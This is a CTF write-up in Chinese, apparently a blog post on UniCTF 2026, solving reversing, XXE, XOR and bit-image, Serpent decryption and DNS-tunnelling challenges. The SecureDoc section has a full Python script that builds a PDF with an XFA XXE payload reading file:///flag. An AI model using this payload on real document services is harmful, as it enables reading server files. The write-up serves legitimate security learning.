封面图片：《オフライン.avif》 | 作者：アボガド6 (Avogado6)

UniCTF 2026 WP#

感觉好难啊……再接再厉吧。

c_polynomial#

下载附件并解压，得到一个EXE文件。

先运行看看：

看起来似乎要找到特定的9个数字。

用Ghidra反编译试试：

1
int __cdecl .text(int _Argc,char **_Argv,char **_Env)
2

3
{
4
    bool bVar1;
5
    int iVar2;
6
    BOOL BVar3;
7
    FILE *pFVar4;
8
    byte local_88 [26];
9
    undefined1 local_6e [38];
10
    undefined4 local_48;
11
    undefined4 local_44;
12
    undefined4 local_40;
13
    undefined4 local_3c;
14
    undefined2 local_38;
15
    undefined2 local_36;
16
    undefined2 local_34;
17
    undefined2 local_32;
18
    undefined2 local_30;
19
    undefined1 local_29;
20
    ulonglong local_28;
21
    undefined8 *local_20;
22
    int local_18;
23
    int local_14;
24
    int local_10;
25
    int local_c;
26

27
    __main();
28
    feclearexcept(0x3f);
29
    iVar2 = fetestexcept(3);
30
    if (iVar2 != 0) {
31
        puts("Floating point exceptions are set, possibly being debugged.");
32
        /* WARNING: Subroutine does not return */
33
        exit(1);
34
    }
35
    BVar3 = IsDebuggerPresent();
36
    if (BVar3 != 0) {
37
        puts("This program is being debugged. Exiting!");
38
        /* WARNING: Subroutine does not return */
39
        exit(1);
40
    }
41
    printf("I\'m practicing my neuro math skills. Give me nine integers: ");
42
    scanf("%d %d %d %d %d %d %d %d %d",&coeffs,&DAT_00408044,&DAT_00408048,&DAT_0040804c,&DAT_004080 50
43
          ,&DAT_00408054,&DAT_00408058,&DAT_0040805c,&DAT_00408060);
44
    printf("Hmm, let me think");
45
    pFVar4 = __iob_func();
46
    fflush(pFVar4 + 1);
47
    BVar3 = IsDebuggerPresent();
48
    if (BVar3 != 0) {
49
        puts("This program is being debugged. Exiting!");
50
        /* WARNING: Subroutine does not return */
51
        exit(1);
52
    }
53
    putchar(0x2e);
54
    pFVar4 = __iob_func();
55
    fflush(pFVar4 + 1);
56
    putchar(0x2e);
57
    pFVar4 = __iob_func();
58
    fflush(pFVar4 + 1);
59
    puts(".");
60
    local_c = -0x3c;
61
    do {
62
        if (0x3b < local_c) {
63
            if (DAT_00408060 != 1) {
64
                for (local_14 = 0; local_14 < 9; local_14 = local_14 + 1) {
65
                    (&coeffs)[local_14] = (int)(&coeffs)[local_14] / DAT_00408060;
66
                }
67
            }
68
            BVar3 = IsDebuggerPresent();
69
            if (BVar3 == 0) {
70
                if (DAT_0040805c == -0x25e) {
71
                    if (DAT_00408058 == 0xac52) {
72
                        printf("Correct! Here\'s the flag: ");
73
                        local_48 = coeffs;
74
                        local_44 = DAT_00408044;
75
                        local_40 = DAT_00408048;
76
                        local_3c = DAT_0040804c;
77
                        local_38 = (undefined2)DAT_00408050;
78
                        local_36 = (undefined2)DAT_00408054;
79
                        local_34 = (undefined2)DAT_00408058;
80
                        local_32 = (undefined2)DAT_0040805c;
81
                        local_30 = (undefined2)DAT_00408060;
82
                        memcpy(local_88,&local_48,0x1a);
83
                        memcpy(local_6e,&local_48,0x1a);
84
                        for (local_18 = 0; local_18 < 0x34; local_18 = local_18 + 1) {
85
                            local_88[local_18] = (&xorcode)[local_18] ^ local_88[local_18];
86
                            putchar((uint)local_88[local_18]);
87
                        }
88
                        putchar(10);
89
                        iVar2 = 0;
90
                    }
91
                    else {
92
                        printf("WRONG");
93
                        iVar2 = 1;
94
                    }
95
                }
96
                else {
97
                    printf("WRONG");
98
                    iVar2 = 1;
99
                }
100
                return iVar2;
101
            }
102
            puts("This program is being debugged. Exiting!");
103
            /* WARNING: Subroutine does not return */
104
            exit(1);
105
        }
106
        total = 0;
107
        power = 1;
108
        for (local_10 = 0; local_10 < 9; local_10 = local_10 + 1) {
109
            total = total + (&coeffs)[local_10] * power;
110
            power = power * local_c;
111
            result = total;
112
        }
113
        if ((local_c == 0x72) || (local_c == 0x202)) {
114
            LAB_0040177a:
115
            bVar1 = true;
116
        }
117
        else {
118
            v12 = local_c + 0x25;
119
            if (v12 < 0x37) {
120
                local_28 = (ulonglong)v12;
121
                local_20 = &v5;
122
                local_29 = (v5 >> (local_28 & 0x3f) & 1) != 0;
123
                if ((bool)local_29) goto LAB_0040177a;
124
            }
125
            bVar1 = false;
126
        }
127
        if (bVar1) {
128
            BVar3 = IsDebuggerPresent();
129
            if (BVar3 != 0) {
130
                puts("This program is being debugged. Exiting!");
131
                /* WARNING: Subroutine does not return */
132
                exit(1);
133
            }
134
            if (result != 0) {
135
                puts("Those aren\'t the right numbers. Try again!");
136
                return 1;
137
            }
138
        }
139
        else if (result == 0) {
140
            BVar3 = IsDebuggerPresent();
141
            if (BVar3 == 0) {
142
                puts("Those aren\'t the right numbers. Try again!");
143
                return 1;
144
            }
145
            puts("This program is being debugged. Exiting!");
146
            /* WARNING: Subroutine does not return */
147
            exit(1);
148
        }
149
        local_c = local_c + 1;
150
    } while( true );
151
}

代码不算特别长，不过似乎有意在反调试。考虑到题目的难度，应该只需要静态分析就可以完成。

首先看看程序在做什么：

首先，让用户输入9个数字，存储在全局变量中。

1
printf("I\'m practicing my neuro math skills. Give me nine integers: ");
2
scanf("%d %d %d %d %d %d %d %d %d",&coeffs,&DAT_00408044,&DAT_00408048,&DAT_0040804c,&DAT_004080 50
3
      ,&DAT_00408054,&DAT_00408058,&DAT_0040805c,&DAT_00408060);
4
printf("Hmm, let me think");

然后，设置一个值local_c = -0x3c（-60），进入一个大循环。

1
local_c = -0x3c;  // 设置循环变量从-60开始
2
do {
3
    if (0x3b < local_c) {  // 如果 59 < local_c
4
        // 依据循环结束的变量输出对应信息并退出程序
5
    }
6
    // 循环体内的验证代码
7
    local_c = local_c + 1;  // 循环变量+1
8
} while( true );  // 从-60循环到59

在循环结束之前的120次循环中，对于输入做以下处理：

设输入的9个数为c0~c8，x=local_c，求 c0 + c1 · x + c2 · x² + c3 · x³ + c4 · x⁴ + c5 · x⁵ + c6 · x⁶ + c7 · x⁷ + c8 · x⁸

1
total = 0;
2
power = 1;
3
for (local_10 = 0; local_10 < 9; local_10 = local_10 + 1) {
4
    total = total + (&coeffs)[local_10] * power;
5
    power = power * local_c;
6
    result = total;
7
}

验证这个8次多项式的值

1
if ((local_c == 0x72) || (local_c == 0x202)) {
2
    LAB_0040177a:
3
    bVar1 = true;
4
}  // 0x72(114)和0x202(514)不在循环中（-60~59）
5
else {
6
    v12 = local_c + 0x25;  // v12 = x+37
7
    if (v12 < 0x37) {  // 如果v12<55 (-60<=x<18)
8
        local_28 = (ulonglong)v12;
9
        local_20 = &v5;
10
        local_29 = (v5 >> (local_28 & 0x3f) & 1) != 0;  // 检查v5的(v12%64)位是否为1
11
        if ((bool)local_29) goto LAB_0040177a;  // 如果v5的(v12%64)位为1 跳转到LAB_0040177a
12
    }
13
    bVar1 = false;
14
}
15
if (bVar1) {
16
    BVar3 = IsDebuggerPresent();  // 反调试
17
    if (BVar3 != 0) {
18
        puts("This program is being debugged. Exiting!");
19
        /* WARNING: Subroutine does not return */
20
        exit(1);
21
    }
22
    // result是多项式在当前local_c的值的结果
23
    if (result != 0) {  // 结果!=0则结束，也就是说，在某些特定的local_c，多项式结果必须为0
24
        puts("Those aren\'t the right numbers. Try again!");
25
        return 1;
26
    }
27
}
28
else if (result == 0) {
29
    BVar3 = IsDebuggerPresent();  // 反调试
30
    if (BVar3 == 0) {
31
        puts("Those aren\'t the right numbers. Try again!");
32
        return 1;
33
    }
34
    puts("This program is being debugged. Exiting!");
35
    /* WARNING: Subroutine does not return */
36
    exit(1);
37
}

循环（120次求值）正常结束（满足特定的local_c=0且没有调试）后的处理：

1
if (DAT_00408060 != 1) {  //如果最后一个数字(c8)不为1
2
    for (local_14 = 0; local_14 < 9; local_14 = local_14 + 1) {  //所有系数除以c8(令c8=1)
3
        (&coeffs)[local_14] = (int)(&coeffs)[local_14] / DAT_00408060;
4
    }
5
}
6
BVar3 = IsDebuggerPresent();  // 反调试
7
if (BVar3 == 0) {
8
    if (DAT_0040805c == -0x25e) {  //检查 c7=-606
9
        if (DAT_00408058 == 0xac52) {  //检查 c6=44114
10
            printf("Correct! Here\'s the flag: ");
11
            // 准备输出flag
12
            local_48 = coeffs;
13
            local_44 = DAT_00408044;
14
            local_40 = DAT_00408048;
15
            local_3c = DAT_0040804c;
16
            local_38 = (undefined2)DAT_00408050;
17
            local_36 = (undefined2)DAT_00408054;
18
            local_34 = (undefined2)DAT_00408058;
19
            local_32 = (undefined2)DAT_0040805c;
20
            local_30 = (undefined2)DAT_00408060;
21
            memcpy(local_88,&local_48,0x1a);
22
            memcpy(local_6e,&local_48,0x1a);
23
            for (local_18 = 0; local_18 < 0x34; local_18 = local_18 + 1) {
24
                //  异或解密并输出
25
                local_88[local_18] = (&xorcode)[local_18] ^ local_88[local_18];
26
                putchar((uint)local_88[local_18]);
27
            }
28
            putchar(10);
29
            iVar2 = 0;
30
        }
31
        else {
32
            printf("WRONG");  // c6!=44114
33
            iVar2 = 1;
34
        }
35
    }
36
    else {
37
        printf("WRONG");  // c7!=606
38
        iVar2 = 1;
39
    }
40
    return iVar2;
41
}
42
puts("This program is being debugged. Exiting!");
43
/* WARNING: Subroutine does not return */
44
exit(1);
45
}

总结：bVar1默认false。当bVar1=true时，多项式的结果必须为0。v5决定了哪些local_c的多项式必须为0。

静态分析中可以找到v5的值：0x00400C0210000001

依据以下代码可知local_c=114和local_c=514时多项式应为0。

1
if ((local_c == 0x72) || (local_c == 0x202)) {
2
LAB_0040177a:
3
bVar1 = true;
4
}

而依据v5的值，我们可以找到其他的根：[-59, -58, -47, -37, -9, -4, 5, 6, 17]

1
v5 = 0x00400C0210000001
2
solution = []
3
for x in range(-60,18):
4
    v12 = x+37
5
    local_29 = (v5 >> (v12 & 0x3f) & 1) != 0
6
    if local_29:
7
        solution.append(x)
8
print(solution)

所以所有的根是：[114,514,-59, -58, -47, -37, -9, -4, 5, 6, 17]

但是，8次多项式最多只有8个根，怎么会有11个根？

观察代码，可以发现汇编代码使用的是无符号比较（JA）：

在无符号比较下，负数会变得很大。也就是说，只有v12>=0的时候(x>=-37)才会判断多项式是否为0。

那么，我们知道这个多项式的所有根：[114,514,-37, -9, -4, 5, 6, 17]

然后我们需要给出这个多项式的9个系数。

既然知道所有的根，那么多项式可以写成：(x-114)(x-514)(x+37)(x+9)(x+4)(x-5)(x-6)(x-17)

展开后得到：

-39805434720 + 1913427864x + 2877618036x² - 195296614x³ - 37214631x⁴ + 1704556x⁵ + 44114x⁶ - 606x⁷ + x⁸

也就是：[-39805434720,1913427864,2877618036,-195296614,-37214631,1704556,44114,-606,1]

从代码中我们可以得到一些提示：

1
if (DAT_00408060 != 1)  //c8=1
2
if (DAT_0040805c == -0x25e)  //c7=-606
3
if (DAT_00408058 == 0xac52)  //c6=44114

完全符合我们刚刚展开的多项式。

按照顺序输入就可以拿到flag：unictf{19287189-291837918-knsadainwak-siadnwoadiasg}

SecureDoc#

题目提到的XFA是一种已经被弃用的技术，XFA 表单中的数据被存储在PDF文件中的独立XML结构中。

我没有找到非常详细的XFA的介绍，用AI生成了一个包含基本PDF结构并且注入恶意XML代码的PDF:

1
def create_test_xxe_pdf():
2
    # 核心的XXE payload
3
    xxe_payload = """
4
    <?xml version="1.0"?>
5
<!DOCTYPE xfa [
6
<!ENTITY xxe SYSTEM "file:///flag">
7
]>
8
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
9
    <template>
10
        <subform name="form1">
11
            <field name="field1">
12
                <ui>
13
                    <textEdit/>
14
                </ui>
15
                <value>
16
                    <text>&xxe;</text>
17
                </value>
18
            </field>
19
        </subform>
20
    </template>
21
</xdp:xdp>
22
"""
23

24
    # 构建PDF的各个部分
25
    pdf_content = []
26

27
    # 1. PDF头部
28
    pdf_content.append(b"%PDF-1.4")
29

30
    # 2. 对象1: Catalog (目录)
31
    pdf_content.append(b"1 0 obj")
32
    pdf_content.append(b"<<")
33
    pdf_content.append(b"/Type /Catalog")
34
    pdf_content.append(b"/Pages 2 0 R")
35
    pdf_content.append(b"/AcroForm 3 0 R")
36
    pdf_content.append(b">>")
37
    pdf_content.append(b"endobj")
38

39
    # 3. 对象2: Pages (页面)
40
    pdf_content.append(b"2 0 obj")
41
    pdf_content.append(b"<<")
42
    pdf_content.append(b"/Type /Pages")
43
    pdf_content.append(b"/Kids [4 0 R]")
44
    pdf_content.append(b"/Count 1")
45
    pdf_content.append(b">>")
46
    pdf_content.append(b"endobj")
47

48
    # 4. 对象3: AcroForm (交互式表单 - 包含XFA)
49
    pdf_content.append(b"3 0 obj")
50
    pdf_content.append(b"<<")
51
    pdf_content.append(b"/Fields []")
52
    pdf_content.append(b"/XFA 5 0 R")
53
    pdf_content.append(b">>")
54
    pdf_content.append(b"endobj")
55

56
    # 5. 对象4: Page (页面内容)
57
    pdf_content.append(b"4 0 obj")
58
    pdf_content.append(b"<<")
59
    pdf_content.append(b"/Type /Page")
60
    pdf_content.append(b"/Parent 2 0 R")
61
    pdf_content.append(b"/MediaBox [0 0 612 792]")
62
    pdf_content.append(b"/Contents 6 0 R")
63
    pdf_content.append(b"/Resources << >>")
64
    pdf_content.append(b">>")
65
    pdf_content.append(b"endobj")
66

67
    # 6. 对象5: XFA流 (包含XXE payload)
68
    xfa_bytes = xxe_payload.encode('utf-8')
69
    pdf_content.append(b"5 0 obj")
70
    pdf_content.append(b"<<")
71
    pdf_content.append(b"/Length " + str(len(xfa_bytes)).encode())
72
    pdf_content.append(b">>")
73
    pdf_content.append(b"stream")
74
    pdf_content.append(xfa_bytes)
75
    pdf_content.append(b"endstream")
76
    pdf_content.append(b"endobj")
77

78
    # 7. 对象6: 页面内容流
79
    page_content = b"BT /F1 12 Tf 100 700 Td (Test PDF with XFA) Tj ET"
80
    pdf_content.append(b"6 0 obj")
81
    pdf_content.append(b"<<")
82
    pdf_content.append(b"/Length " + str(len(page_content)).encode())
83
    pdf_content.append(b">>")
84
    pdf_content.append(b"stream")
85
    pdf_content.append(page_content)
86
    pdf_content.append(b"endstream")
87
    pdf_content.append(b"endobj")
88

89
    # 8. xref表
90
    body = b"\n".join(pdf_content)
91
    xref_offset = len(body)
92

93
    xref = b"xref\n0 7\n"
94
    xref += b"0000000000 65535 f \n"
95
    xref += b"0000000010 00000 n \n"
96
    xref += b"0000000100 00000 n \n"
97
    xref += b"0000000200 00000 n \n"
98
    xref += b"0000000300 00000 n \n"
99
    xref += b"0000000400 00000 n \n"
100
    xref += b"0000000500 00000 n \n"
101

102
    # 9. trailer
103
    trailer = b"trailer\n<<\n/Size 7\n/Root 1 0 R\n>>\n"
104
    trailer += b"startxref\n" + str(xref_offset).encode() + b"\n"
105
    trailer += b"%%EOF"
106

107
    final_pdf = body + b"\n" + xref + trailer
108
    return final_pdf
109

110
# 创建并保存PDF
111
with open("test_xxe.pdf", "wb") as f:
112
    f.write(create_test_xxe_pdf())

运行代码就会生成一个PDF，把PDF提交上去就可以看到返回的flag

关键在于注入的恶意代码：

1
<?xml version="1.0"?>
2
<!DOCTYPE xfa [
3
<!ENTITY xxe SYSTEM "file:///flag">  <!-- 定义一个外部实体xxe="file:///flag" -->
4
]>
5
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
6
    <template>
7
        <subform name="form1">
8
            <field name="field1">
9
                <ui>
10
                    <textEdit/>
11
                </ui>
12
                <value>
13
                    <text>&xxe;</text>  <!-- 引用这个外部实体 -->
14
                </value>
15
            </field>
16
        </subform>
17
    </template>
18
</xdp:xdp>

代码定义了一个外部实体随后引用它，当XML解析器解析这个引用的时候会用”file:///flag”的内容替换”&xxe;”

于是我们就在解析器返回的结果中看到了flag

截取的线索#

下载附件，是一个TXT文本和一个PNG图像。

文本7.txt内容如下：

RinDSA|W6dlkbXsob

应该是经过了某种编码或者加密。

编码的话，首先想到的是base64，但是base64的字符集不包含’|‘，所以应该是其他的方法。

加密的话，从简单的开始考虑，首先想到的是XOR，但我们需要密钥。

文件名是’7’，也许这就是密钥？试一下：

1
c = "RinDSA|W6dlkbXsob"
2
m = ""
3
for i in c:
4
    m += chr(ord(i) ^ 7)
5
print(m)

输出：UniCTF{P1ckle_the

看起来是flag的左段。那么右段应该就在附件的另外一个文件中。

PNG是一个96*1的黑白像素图，很难不想到01比特流。

认为黑色像素代表1白色像素代表0的话可以得到：

101000001011100010001101100110101001111010001011101000001000101110010000110011111100111010000010

尝试作为ASCII：

1
c = "101000001011100010001101100110101001111010001011101000001000101110010000110011111100111010000010"
2
m = ""
3
for i in range(0, 96, 8) :
4
    bytes = c[i:i+8]
5
    char = int(bytes, 2)
6
    m += chr(char)
7
print(m)

但是打印出的结果很奇怪，包含了不可见字符。

反转一下（黑色像素代表0白色像素代表1）试试：

1
c = "010111110100011101110010011001010110000101110100010111110111010001101111001100000011000101111101"
2
m = ""
3
for i in range(0, 96, 8) :
4
    bytes = C[i:i+8]
5
    char = int(bytes, 2)
6
    m += chr(char)
7
print(m)

输出：_Great_to01}

合并之后就是完整的flag：UniCTF{P1ckle_the_Great_to01}

下载附件，是一个压缩包：attachment.zip

解压之后是一个文件：Serpent.dat

直接打开只能看见一些杂乱的数据，混杂着不可见字符。

用十六进制编辑器查看：

32E393BB 94638401 59017E99 12FCD4D0 6138D9EE FF5153A4 2837C456 5C4297D4

这应该就是密文了。

文件的名字是Serpent，这是一种高安全性的对称密钥分组密码算法。

密文的长度也刚好是两个分组的长度，猜测加密使用的算法就是Serpent加密算法。

但是密钥是什么呢？

Serpent.dat本身32字节，没有再分析出更多信息。但是解压前的压缩包却有200字节，也许信息藏在压缩包中。

查看压缩包的十六进制数据，在数据尾部发现了可疑的字符串：U2VjcmV0S2V5

用在线的Serpent加密解密网站](http://serpent.online-domain-tools.com/)试试解密。

由于没有找到更多的信息，先选择ECB模式，U2VjcmV0S2V5作为key试试。

但是得到的结果很奇怪。也许key是经过处理的。

没有更多的信息，先试试base64解码：SecretKey

这看起来更像是key，用这个作为key解密就可以拿到flag：UniCTF{Serpentine_Secrets}

Silent Resolver#

下载附件，是一个流量包文件。打开之后观察，可以发现一些可疑的域名：

这些域名和其他域名明显不同。提取6条域名中间不同的部分：

“kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamz”, “wgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wd”, “klrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxaka”, “cqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaa”, “aaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaa”, “qaaiagyaaaac6aaaaaaaa”

按照顺序拼接起来，可以得到一条很长的字符串：

kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamzwgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wdklrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxakacqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaaaaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaaqaaiagyaaaac6aaaaaaaa

全部由小写字母和数字组成，先考虑base编码。

base64的字符集包含大小写字母和数字0~9以及’+‘和’/’

base32的字符集包含字母（通常是大写字母）和数字2~7

尝试了base64解码，得到的结果非常奇怪。

字符串只出现了小写字母，数字2~7，也许是base32编码，尝试base32解码试试：

PKHe%\�286flag.txt��tq�v1�+�)2).�w��,5.2L-�7�0��5L�(��0L1�6N.2.)�PKHe%\�286�flag.txtPK ��

得到结果也很奇怪，但出现了一部分可疑的可打印字符：flag.txt

看看十六进制形式：

504B03041400000008004865255CB6033211380000003600000008000000666C61672E7478740BCDCB740E71AB7631C82B890F2932292E8977F10B8E0F2C352E324C2D8E37CF30AE8CF7354CCF2889F7304C318E0F364E2E322E29AE0500504B010214031400000008004865255CB60332113800000036000000080000000000000000000000800100000000666C61672E747874504B05060000000020002006C000000BC000000000

504B0304，是ZIP的文件头

用十六进制编辑器保存这段数据：

然后再解压，得到flag.txt，flag就在其中：UniCTF{D0nt_Tr4st_DNS_Qu3r1es_7h3y_M1ght_H1d3_S3cr3ts}

UniCTF2026WP

UniCTF 2026 WP#

c_polynomial#

SecureDoc#

截取的线索#

Silent Resolver#

分享

目录

UniCTF2026WP

UniCTF 2026 WP#

c_polynomial#

SecureDoc#

截取的线索#

Sign in#

Silent Resolver#

分享

目录